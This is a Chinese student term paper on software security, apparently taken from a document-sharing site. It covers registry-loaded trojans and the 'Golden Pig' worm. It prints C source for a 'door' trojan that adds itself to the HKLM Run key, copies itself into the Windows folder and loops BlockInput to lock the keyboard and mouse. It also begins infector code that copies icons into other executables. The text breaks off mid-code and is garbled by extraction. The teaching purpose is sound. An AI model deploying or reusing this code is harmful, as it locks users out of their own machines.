中国矿业大学软件安全期末论文Word格式.docx
《中国矿业大学软件安全期末论文Word格式.docx》由会员分享,可在线阅读,更多相关《中国矿业大学软件安全期末论文Word格式.docx(23页珍藏版)》请在冰点文库上搜索。
网络安全迫切需要有效的木马检测防范技术。
2.注册表加载型木马door
2.1基本概念
首先,我们要知道什么是木马。
正像历史上的“特洛伊木马”一样,被称为“木马”的程序也是一种掩藏在美丽外表下打入电脑内部的东西。
确切地说,“木马”是一种经过伪装的欺骗性程序,它通过自身伪装吸引用户下载执行,从而破坏或窃取使用者的重要文件和资料。
从广义上来说,木马也是病毒的一种,因为它们都具有潜伏性(不让你知道它)和触发性(碰到特定的程序才发作,你打开officeword或上网聊天它一般不理)。
但是,木马程序与一般的病毒又有不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它的主要作用是向施种木马者打开被种者的门户,使对方可以任意毁坏、窃取你的文件,甚至远程操控你的电脑。
一个完整的“木马”程序包含了两部分:
服务器和控制器。
植入你的电脑的是它的“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。
众所周知,基于TCP/IP协议接入互联网的计算机称为0~65535,共有256*256个端口,编号为0~65535。
通常我们上网的时候,电脑通过80端口与外界保持联系。
运行了木马程序的“服务器”以后,你的电脑就会有另一个或几个端口被打开,是黑客可以利用这些打开的端口进入你的系统,你的系统安全和个人隐私也就完全无保障了。
而注册表加载型木马door是在用户不知道也不允许的情况下,在被感染的系统上以隐蔽的方式运行可以让被感染的系统失去对键盘鼠标的控制,而且用户无法通过正常的方法禁止其运行。
2.2木马特点
(1)隐蔽性
木马必需隐藏在你的系统之中,它会想尽一切办法不让你发现它。
另外,木马与计算机网络中常常用到的远程控制软件是有区别的。
虽然二者在主要功能上都可以实现远程控制,但由于远程控制软件是“善意”的控制,因此不具有隐蔽性。
木马则完全相反,木马要达到的正是“偷窃”性的远程控制,因此如果没有很强的隐蔽性的话,那么木马简直就是“毫无价值”的。
他们两者的最大区别就是在于这一点,举个例子来说吧,象我们进行局域网间通讯的常软件——PCanywhere大家一定不陌生吧,大家也知道它是一款远程通讯软件。
PCanwhere在服务器端运行时,客户端与服务器端连接成功后客户端机上会出现很醒目的提示标志。
而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己,不可能还出现什么提示,这些黑客们早就想到了方方面面可能发生的迹象,把它们扼杀了。
例如大家所熟悉木马修改注册表和ini文件以便机器在下一次启动后仍能载入木马程式,它不是自己生成一个启动程序,而是依附在其它程序之中。
有些把服务器端和正常程序绑定成一个程序的软件,叫做exe-binder绑定程式,可以让人在使用绑定的程式时,木马也入侵了系统,甚至有个别木马程序能把它自身的exe文件和服务器端的图片文件绑定,在你看图片的时候,木马也侵入了你的系统。
它的隐蔽性主要体现在以下两个方面:
a.不产生图标
它虽然在你系统启动时会自动运行,但它不会在“任务栏”中产生一个图标,这是容易理解的,不然的话,凭你的火眼金睛你一定会发现它的。
我们知道要想在任务栏中隐藏图标,只需要在木马程序开发时把“Form”的“Visible”属性设置为“False”、把“ShowintaskBar”属性设置为“Flase”即可;
b.木马程序自动在任务管理器中隐藏,并以“系统服务”的方式欺骗操作系统。
(2)它具有自动运行性
它是一个当你系统启动时即自动运行的程序,所以它必需潜入在你的启动配置文件中,如win.ini、system.ini、winstart.bat以及启动组等文件之中。
(3)木马程序具有欺骗性
木马程序要达到其长期隐蔽的目的,就必需借助系统中已有的文件,以防被你发现,它经常使用的是常见的文件名或扩展名,如“dll\win\sys\explorer等字样,或者仿制一些不易被人区别的文件名,如字母“l”与数字“1”、字母“o”与数字“0”,常修改基本个文件中的这些难以分辨的字符,更有甚者干脆就借用系统文件中已有的文件名,只不过它保存在不同路径之中。
还有的木马程序为了隐藏自己,也常把自己设置成一个ZIP文件式图标,当你一不小心打开它时,它就马上运行。
等等这些手段那些编制木马程序的人还在不断地研究、发掘,总之是越来越隐蔽,越来越专业,所以有人称木马程序为“骗子程序”。
(4)具备自动恢复功能
现在很多的木马程序中的功能模块已不再是由单一的文件组成,而是具有多重备份,可以相互恢复。
(5)能自动打开特别的端口
木马程序潜入人的电脑之中的目的不主要为了破坏你的系统,更是为了获取你的系统中有用的信息,这样就必需当你上网时能与远端客户进行通讯,这样木马程序就会用服务器/客户端的通讯手段把信息告诉黑客们,以便黑客们控制你的机器,或实施更加进一步入侵企图。
你知不知道你的电脑有多少个对外的“门”,不知道吧,告诉你别吓着,根据TCP/IP协议,每台电脑可以有256乘以256扇门,也即从0到65535号“门,但我们常用的只有少数几个,你想有这么门可以进,还能进不来?
当然有门我们还是可以关上它们的,这我在预防木马的办法中将会讲到。
(6)功能的特殊性
通常的木马的功能都是十分特殊的,除了普通的文件操作以外,还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能,上面所讲的远程控制软件的功能当然不会有的,毕竟远程控制软件是用来控制远程机器,方便自己操作而已,而不是用来黑对方的机器的。
2.3代码分析
在剖析door木马源程序之前,有必要了解一下Windows的注册表的结构。
在我们电脑上,注册表是以树形结构存储的,树的每一个节点称为一个键值(key),每一个key又包括子键值(subkey)及数据入口的值(value)。
而value的具体值则包括了string、dword等,这个可以在自己电脑上的注册表中自行查看。
我们可以自行获取及修改value的类型和具体数值。
当打开一个本机的注册表是,可以从左边看到,左边一栏最上面是我的电脑,打开之后看到的就是key,再展开你看到的都是subkey,无论你展开多少层。
右边的大框显示的就是value,有value的名称、类型及相关联的值。
注:
测试环境为Windowsxp。
(1)函数:
RegOpenKey
LONGRegOpenKey(
HKEYhKey,//要打开键的句柄
LPCTSTRlpSubKey,//要打开子键的名字的地址
PHKEYphkResult//要打开键的句柄的地址
);
(2)函数:
RegSetValueEx
LONG
RegSetValueEx(
HKEY
hKey,//键值所在子健的句柄
LPCTSTR
lpValueName,//要设置的键值名称
DWORD
Reserved,//为0
dwType,//设置键值的数据类型
CONST
BYTE
*lpData,//设置键值的数据缓冲区
cbData//设置键值的数据缓冲区大小
/*将door2程序运行后成为door2.exe后成功复制到C盘系统目录下,然后通过对注册表的设置使第一个程序运行后然后重启系统,将会使系统对键盘鼠标失去控制。
*/
(3)函数:
BlockInput(true);
我们使用这个简单的函数用于后门程序的体现,实现系统假死的现象,实现系统假死,造成恶意破坏,这个函数用于让键盘鼠标进程阻塞,停止工作,这样即使系统在正常工作,我们也无法让使用我们的外接设备,造成假死现象。
#include<
windows.h>
intmain(void)
{
charregname[]="
Software\\Microsoft\\windows\\CurrentVersion\\Run"
;
//注册表项目录
HKEYhkResult;
//注册表子项的一个句柄
intret;
ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&
hkResult);
//打开HKEY_LOCAL_MACHINE下regname的子项
//door2是注册表键名
ret=RegSetValueEx(hkResult,"
door2"
0,REG_EXPAND_SZ,(unsignedchar*)"
%systemroot%\\door2.exe"
25);
//在启动下添加一个door2.exe的一个文件
//设置键值
if(ret==0){//如果成功了
printf("
successtowriterunkey\n"
//打印成功信息
RegCloseKey(hkResult);
/关闭这一项
}
else{//没有成功
failedtoopenregedit.%d\n"
ret);
//打印失败信息
return0;
charmodlepath[256];
charsyspath[256];
GetModuleFileName(0,modlepath,256);
//取得程序名字
ret=CopyFile(strcat(modlepath,"
\\door2.exe"
),"
C:
\\windows\\door2.exe"
0);
//复制文件,ret为返回值
if(ret)
%shasbeencopyedtosysdir%s\n"
modlepath,syspath);
//成功复制
}
elseprintf("
%sisexisis"
modlepath);
//复制失败
//后门程序,加载在注册表中,从而让键盘鼠标阻塞,让用户无法使用键盘鼠标
//door2.cpp
Winable.h>
intmain(){
FreeConsole();
//分离与调用进程相关的控制台
while
(1){
BlockInput(true);
}}
2.4木马的防御
对于类似上文所讲的这种door类型自动加载注册表木马的防御,我们可以从注册表检查入手。
我们在安全模式的情况下进入电脑系统,然后打开注册表清除掉加载到注册表中的木马,然后从系统中检索到恶意程序,将其删除。
这是一种有效的“斩草除根”的方式,但是手动检查繁琐而且对于普通用户而言,难以察觉到自动加载项被注入木马。
所以对普通用户来说,安装一款合适的安全的反木马软件定期检查自动加载项以及注册表是否注入木马是不错的选择,由反木马软件长期监视系统,很大程度上减少系统受危害的可能性
3“金猪报喜”病毒
3.1基本概念
要了解“金猪报喜”病毒,我们需要先了解熊猫烧香病毒。
熊猫烧香,一种恶性计算机病毒,是经过多次变种的“蠕虫病毒”变种,有感染传播的功能,它主要通过下载的档案传染,受到感染的机器文件因为被误携带间接对其它计算机程序、系统破坏严重[1]。
熊猫烧香是一种蠕虫病毒的变种,而且是经过多次变种而来,由于中毒电脑的可执行文件会出现“熊猫烧香”图案,所以也称为“熊猫烧香”病毒。
原病毒只对EXE图标进行替换,并不会对系统本身进行破坏,但该病毒的变种可能会对系统有一定的破坏,并通过局域网进行传播,进而感染局域网内所有计算机系统,甚至导致企业局域网瘫痪,无法正常使用,它能感染系统中exe,com,pif,src,html,asp等文件,还能终止大量的反病毒软件进程并且会删除扩展名为gho的备份文件。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样[1]。
而金猪报喜的感染形式和工作方式与熊猫烧香大体相同,可以看做换了一个皮的熊猫烧香。
3.2病毒特点
3.2.1“金猪报喜”病毒特点
①感染性。
可以感染系统中多种格式的文件,并删除用户的系统备份文件。
②迅速扩散性。
通过多种方式传播,比如互联网,U盘等。
③破坏性。
破坏系统文件以及用户自己的文件,对用户造成很大的损失。
3.2.2蠕虫病毒特点
我们通过“金猪报喜”这个病毒也可以看到蠕虫病毒的很多特点。
进行深入分析来说,网络蠕虫的独立性从某种意义上的层面上来说,这种网络蠕虫开辟了计算机病毒的传播和破坏的能力的“新纪元”。
在网络蠕虫病毒出现之前,计算机病毒一般都是需要原来那台电脑的程序的,计算机病毒是将自己的代码写到了其他的原来的那台电脑的程序之中,而当该程序运行时就已经是会先执行之前已经是写入的计算机网络蠕虫病毒的程序,进而就会迅速地造成了计算机网络用户的感染和破坏,这些感染和破坏就是计算机网络蠕虫病毒的危害所在。
也就是说,网络蠕虫病毒是不需要之前的电子计算机的程序的,它是一段非常独立的程序或代码,因此也避免了受到之前那台计算机的程序的牵制,从而还可以不用依赖于之前的电子计算机的程序而进行存活的,它能主动地实施其攻击性,完成计算机网络蠕虫病毒的攻击性能。
计算机网络蠕虫病毒的特性决定,它经常利用漏洞来主动攻击那些由于会不用受他进行攻击的计算机的程序的限制,计算机网络蠕虫病毒就还可以迅速的利用操作系统的各种漏洞去对我们的电脑进行主动的攻击,并通过这种攻击来实现他的蔓延。
从整体上看,传播更快更广的计算机网络蠕虫病毒比传统的病毒更具有了更强大的传染特性,然而它不仅仅感染本地计算机,而且还会以本地的计算机作为基础去感染网络中的所有服务器和所有客户端,并通过这些客户端来进入网络。
计算机网络蠕虫病毒扩散速度惊人,更好的伪装和隐藏的方式都只是为了使计算机网络蠕虫病毒在更大的范围内得到传播的,蠕虫病毒的编写者会注重病毒的隐藏方式,这种隐藏方式将会对我们的防御产生阻碍作用。
从而总结得到,计算机的网络蠕虫病毒除了具备可传播性、可执行性、可隐藏性的等一般性的普通病毒的共同特点之外,还具有一些其他不同的特点,比如蠕虫病毒有了更多的方式进行漏洞的抓取和系统的破坏[2]。
3.3“金猪报喜”核心代码分析
3.3.1Windows蠕虫病毒基本概念
(1)句柄
句柄,是整个Windows编程的基础。
一个句柄是指使用的一个唯一的整数值,即一个4字节(64位程序中为8字节)长的数值,来标识应用程序中的不同对象和同类中的不同的实例,诸如,一个窗口,按钮,图标,滚动条,输出设备,控件或者文件等。
应用程序能够通过句柄访问相应的对象的信息,但是句柄不是指针,程序不能利用句柄来直接阅读文件中的信息。
如果句柄不在I/O文件中,它是毫无用处的。
句柄是Windows用来标志应用程序中建立的或是使用的唯一整数,Windows大量使用了句柄来标识对象[3]。
(2)WindowsAPI编程是指调用Windows的接口函数来进行程序的编写。
3.3.2核心代码
代码说明:
本程序为实验型病毒,指定程序进行感染,以弹出窗口展现感染效果,在Winxp下运行通过。
(1)函数:
SetRes
参数:
LPSTRszImageName--要进行资源更新的EXE或DLL的名字
LPSTRszResType--将被更新的资源类型
LPSTRszResName--待被更新的资源名称
LPVOIDpData--可执行文件的资源数据的指针
DWORDcbData--指定lpData中的资源数据数据大小
功能:
该函数用来更新exe中的资源
类型和调用的方法说明:
HANDLE:
句柄类型,来源于Handle-C,Handle-C是硬件描述语言。
windows在创建一个系统对象的同时,把一个句柄赋值给这个实体,可以用这个句柄来识别或者修改这个对象,这就是handle句柄的作用。
HANDLEBeginUpdateResource(LPCTSTRpFileName,BOOLbDeleteExistingResources):
该函数返回一个可被UpdateResource函数使用的句柄以便在一个可执行文件中增加、删除或替换资源。
如果此函数运行成功,其值将通过使用UpdateResource和EndUpdateResource函数返回一个句柄。
如果被指定的文件不是一个可执行文件,或者可执行文件已被装载,或者文件不存在,或是文件不能被打开写入时,则返回值为空。
若想获得更多的错误信息,请调用GetLastError函数。
intSetRes(LPSTRszImageName,LPSTRszResType,LPSTRszResName,LPVOIDpData,DWORDcbData)
HANDLEhExe=BeginUpdateResource(szImageName,0);
if(hExe==NULL)throw("
BeginUpdateResource"
intres=UpdateResource(//如果函数运行成功,返回值为非零;
如果函数运行失败,返回值为零。
hExe,//要更新的文件句柄
szResType,//资源类型
szResName,//资源名字
MAKELANGID(LANG_NEUTRAL,SUBLANG_NEUTRAL),//更新资源的语言标识
pData,//指向被插入可执行文件的资源数据的指针
/*如果资源是预定义类型值之一,那么数据必须是有效且适当排列的。
注意这是存储在可执行文件中原始的一进制数据,而不是由Loadlcon,LoadString或其他装载特殊资源函数提供的数据。
所有包含字符串、文本的数据必须是Unicode格式;
IpData不能指向ANSI数据。
cbData);
//指定lpData中的资源数据数据大小,以字节计数。
if(!
res)throw("
UpdateResource"
EndUpdateResource(hExe,0))throw("
EndUpdateResource"
return1;
(2)函数:
EnumIconProc
HMODULEhModule--module句柄
LPCTSTRlpszType--资源类型
LPTSTRlpszName--资源名称
LONGlParam--请求定义好的参数
该函数枚举源Exe中的所有图标,设置到另一个exe中去。
HMODULE:
代表模块句柄,是代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
HRSRC:
指向资源的一个句柄typedefHANDLEHRSRC;
定义在WinDef.h中。
FindResource:
一个计算机函数。
该函数确定指定模块中指定类型和名称的资源所在位置。
返回值:
如果函数运行成功,返回值是相关资源的数据的句柄。
如果函数运行失败,返回值为NULL。
LockResource:
Lockthedialogboxintoglobalmemory.锁定资源并得到资源在内存中的第一个字节的指针返回值:
如果被装载的资源被锁住了,返回值是资源第一个字节的指针,否则为NULL。
SizeofResource:
表示该函数返回指定资源字节数大小。
如果函数运行成功,返回值资源的字节数。
如果函数运行失败,返回值为0
hModule:
包含资源的可执行文件模块句柄。
hRes:
资源句柄,此句柄必须由函数FindResource或FindResourceEx来创建。
BOOLCALLBACKEnumIconProc(HMODULEhModule,LPCTSTRlpszType,LPTSTRlpszName,LONGlParam)
{
HRSRChRes=FindResource(hModule,lpszName,RT_ICON);
if(hRes==NULL)throw("
Couldnotlocateiconresource."
//Loadtheiconintoglobalmemory.该函数装载指定资源到全局存储器。
HGLOBALhResLoad=LoadResource